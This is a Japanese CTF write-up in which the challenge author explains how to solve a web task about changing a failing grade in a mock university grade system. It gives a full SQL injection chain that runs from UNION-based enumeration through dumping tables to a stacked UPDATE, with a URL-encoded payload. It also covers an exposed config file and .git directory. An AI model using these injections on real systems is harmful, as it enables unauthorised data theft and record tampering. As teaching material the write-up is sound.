第1回tkbctf 問題「Are these your grades?」を作ってみた
くりすです。
つい先日の5月4日昼から5日朝まで夜通しで「tkbctf」なるハッキングコンテスト、いわゆるCTFが開催されましたが、わたしはそれに1つミッションを提供しました。
それが、「Are these your grades?」です。
あらゆる情報系ダメ学生の夢である、「学校の成績管理システムをハックして、落第をなかったことにする」というのが目標のミッションです。
それでは、以下ネタバレとなります。
ミッション説明
こんにちは。博麗大学のS.Iと申します。 春休みに入り成績が付いたのですが、どうも線形代数Iの成績が芳しくないのです。これを落とすとたいへんなことになってしまいます。 線形代数にF(落第点)が付いているのですが、これをD(及第点ギリギリ)に書き換えてくださいませんか? わたしのログイン情報は 13413983:f.scarlet495 なので、ご参考まで。 どうかお力添えをお願いします。 --- このCTFミッションは、WIDEプロジェクト (http://www.wide.ad.jp) 提供のネットワークにて公開しております。所在地: 筑波大学3F棟230号室 産学間連携推進室 ---
想定していた解答
- 普通にログインする
Subjects
を開くと、URLがindex.pl?mode=subjects&subid=LAI
というふうになる。このsubid
がインジェクションポイントである。
ブラインドインジェクションなので気合ゲー。以下示すSQLクエリの断片は、subid
GETパラメータから注入するSQLインジェクションである。
-
' UNION ALL SELECT null, null, null, null, null, @@VERSION #
とかいったふうに順々にnull
を増やしつつUNION
攻めをすると、null
を5個投入した後にページにバージョン情報が現れるので、SQLインジェクションが有効と分かる。
なお、#
はURLに入ってると「同じページのなんか」という意味を持つので、パラメータで送信するときに%23
でエンコードすること。
- テーブル名をゲットするために、
' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct table_schema separator ', ') FROM information_schema.columns #
というSQLインジェクションを発射する。
GROUP_CONCAT
を使うとと1行に全てのrowsが降ってくるので、今回みたいにページに出現するrowは最初の1行だけという場合に都合がよい。←重要
- この
ctf
とかいうデータベースが怪しいので、覗き見る。' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct TABLE_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf
grades, users, subjects
というテーブルがあることが分かる。grades
が怪しいので中身を見る。' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct COLUMN_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'grades
grades
というテーブルの中には、userid
と、grades_json
というカラムが存在していることが分かった。userid
とそれに対応するgrades_json
を引っ張ってくる。' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades #
grades
から引っ張ってきたuserid
は、既知であるユーザネーム13413983
とは異なり、なんらかのハッシュになっているので、テーブルusers
に13413983
に対応するハッシュが眠っていないか確かめる。' UNION ALL SELECT null, null, null, null, userid, username FROM users WHERE username = '13413983
Note: ユーザネーム13413983
はVARCHAR
型であるので、文字列として取り扱うべきである。根拠は、users
テーブルを覗き見れば、[email protected]
というusername
のアカウントの存在が分かることから明らか。
userid = 896b3697369ab1ca14612120ded84c68
に対応するgrades_json
を引っ張ってくる。' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades WHERE userid = '896b3697369ab1ca14612120ded84c68
- 引っ張ってきたJSONはこうなっている:
[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"F"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
↑これを
[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},中略,{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
↑こうして、
'; UPDATE grades SET grades_json = '[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]' WHERE userid = '896b3697369ab1ca14612120ded84c68' #
↑このように複文構造で
UPDATE
文をインジェクトします。
- 最後に、これをURLエンコードして、
subid
パラメータに叩きこんで、攻略は完了です。http://web400.tkbctf.info/index.pl?mode=subjects&subid=%27%3B%20UPDATE%20grades%20SET%20grades_json%20%3D%20%27%5B%7B%22subject_id%22%3A%22LAI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Linear%20Algebra%20I%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22PHY%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Physics%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22CLI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Calculus%20I%22%2C%22grade%22%3A%22C%22%7D%2C%7B%22subject_id%22%3A%22PGI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Programming%20I%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22MON%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Introduction%20to%20Monty%20Python%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22SLO%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Slacking%20Off%22%2C%22grade%22%3A%22A%22%7D%5D%27%E3%80%80WHERE%20userid%20%3D%20%27896b3697369ab1ca14612120ded84c68%27%20%23
想定外の解法
いやー実はわたしのミスで、上記のように意図的に盛り込んだSQLインジェクションとは異なるセキュリティホールが存在していたのです。
以下はそれらの説明です。といっても、非常に単純な解法となるので説明はほぼ不要でしょう。
http://web400.tkbctf.info/etc/config.yml
に対するアクセス制御が不十分
なんのことはないです。configファイルがwebから閲覧可能な状態になっていたので、ディレクトリを総当り的に漁ったりエラー画面から
config.yml
という設定ファイルの存在を知ったりすれば到達できます。
この中にスコアを獲得するための重要な情報が含まれていました。
http://web400.tkbctf.info/.git/
に対するアクセス制御が不十分
いやこれはひどかったです。ソースコードもろとも丸見えになってしまいました。
gitを使ってwebサービスの開発管理をするときは、.git
ディレクトリの取扱いに気をつけるべきですね。
最良の対策は、「.git
ディレクトリがDocumentRoot
内に存在しないようにする」ことではないでしょうか。
今回のこのミスを通して自分もまたひとつおもしろいことが学べたので、このCTFに出題してよかったと思いました。
正解者に万雷の拍手を
早着順です。(敬称略)
- @superbacker
- ytoku
- ren_hx
- askn2
付録
次のGitHubリポジトリにて、本問題のソースコードを公開する予定です。
まだREADMEが完成していないため未公開ですが、できれば本日中に公開しますので、興味がありましたらご覧ください。
tkbctf1 - Are these your grades?